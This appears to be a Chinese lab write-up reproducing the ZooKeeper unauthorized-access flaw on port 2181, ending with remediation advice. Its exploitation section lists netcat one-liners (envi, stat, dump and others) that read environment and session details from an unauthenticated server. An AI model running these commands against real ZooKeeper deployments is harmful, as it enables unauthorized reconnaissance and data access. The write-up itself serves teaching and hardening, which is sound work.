ZooKeeper 未授权访问漏洞(CVE-2014-085) 复现
本文转自gclome 并作补充
最近想收集一下近几年的通用型漏洞,然后就找到了这个漏洞,那就先来这个漏洞吧!
ZooKeeper未授权访问漏洞是什么
ZooKeeper是一个分布式的,开放源码的分布式应用程序协调服务,是Google的Chubby一个开源的实现,是Hadoop和Hbase的重要组件。它是一个为分布式应用提供一致性服务的软件,提供的功能包括:配置维护、域名服务、分布式同步、组服务等。
ZooKeeper默认开启在2181端口,在未进行任何访问控制情况下,攻击者可通过执行envi命令获得系统大量的敏感信息,包括系统名称、Java环境
漏洞原因
默认安装配置完的zookeeper允许未授权访问,管理员未配置访问控制列表(ACL)。导致攻击者可以在默认开放的2181端口下通过执行envi命令获得大量敏感信息(系统名称、java环境)导致任意用户可以在网络不受限的情况下进行未授权访问读取数据甚至杀死服务。
(原因如下:默认的ACL中未进行限制访问)
用于访问控制的模式有:
(1)world 代表任何用户
(2)auth 不使用任何id,代表任何已经认证过的用户
(3)digest 使用username:password认证,password使用md5哈希之后base64再编码,现改成了sha1加密。
(4)ip 用客户端的ip作为ACL的标识。
环境搭建
测试机: Kali (192.168.133.134)
靶机: Kali(192.168.133.132)
版本:zookeeper-3.4.14分别在测试机和靶机都安装zookeeper-3.4.14
安装命令如下:
1
2
3
4
5
6 #搭建环境
wget https://mirrors.tuna.tsinghua.edu.cn/apache/zookeeper/zookeeper-3.4.14/zookeeper-3.4.14.tar.gz
tar -xzvf zookeeper-3.4.14.tar.gz
cd zookeeper-3.4.14/conf
mv zoo_sample.cfg zoo.cfg
../bin/zkServer.sh start # 启动搭建成功 默认端口是2181
漏洞证明
尝试连接
1 ./zkCli.sh -server 192.168.133.132 2181如下图,连接成功
并且存在此漏洞!
获取该服务器的环境
1 echo envi|nc 192.168.133.132 2181通过执行envi命令获得系统大量的敏感信息,包括系统名称、Java环境。
漏洞利用
part1
1
2
3
4
5
6
7
8
9
10
11
12
13
14 stat:列出关于性能和连接的客户端的统计信息。
echo stat |nc 192.168.133.132 2181
ruok:测试服务器是否运行在非错误状态。
echo ruok |nc 192.168.133.132 2181
reqs:列出未完成的请求。
echo reqs |nc 192.168.133.132 2181
envi:打印有关服务环境的详细信息。
echo envi |nc 192.168.133.132 2181
dump:列出未完成的会话和临时节点。
echo dump |nc 192.168.133.132 2181
part2
我们在zk的客户端可以进行节点权限的查看和设置。
从上述操作可以看出,zk新创建的znode默认访问方式为world。我们通过addauth和setAcl给/test节点设置访问权限为digest,操作权限为cdrwa,用户名为user,密码为password。
当然,我们使用getAcl是无法获取可访问用户test的明文密码的(要是可以获取明文密码,不又是个漏洞嘛~~)。
另启zk客户端,执行ls /test,发现当前用户已经无法访问/test节点,提示信息为“Authentication is not valid”。解决方法就是addauth添加认证用户了,并且必须使用用户名和密码明文进行认证。
addauth添加digest认证用户user后,即可正常访问/test节点了。
另外,还有一点需要注意,znode的ACL是相互独立的。也就是说,任意不同节点可以用不同的acl列表,互不影响,并且ACL是不可被继承的。
我们在/test下创建leaf节点,可发现,leaf节点的认证方式为world,即任何用户都有访问权限。
利用zookeeper可视化管理工具进行连接
下载地址:https://issues.apache.org/jira/secure/attachment/12436620/ZooInspector.zip
修复方案
禁止把Zookeeper直接暴露在公网
添加访问控制,根据情况选择对应方式(认证用户,用户名密码,指定IP)
配置防火墙策略,只允许指定IP访问2181端口
配置服务ACL限制IP访问
参考链接
https://blog.csdn.net/u011721501/article/details/44062617
https://www.cnblogs.com/0nc3/p/12071281.html
https://xz.aliyun.com/t/6103#toc-7
https://blog.csdn.net/Aaron_Miller/article/details/106049421
https://www.cnblogs.com/ilovena/p/9484522.html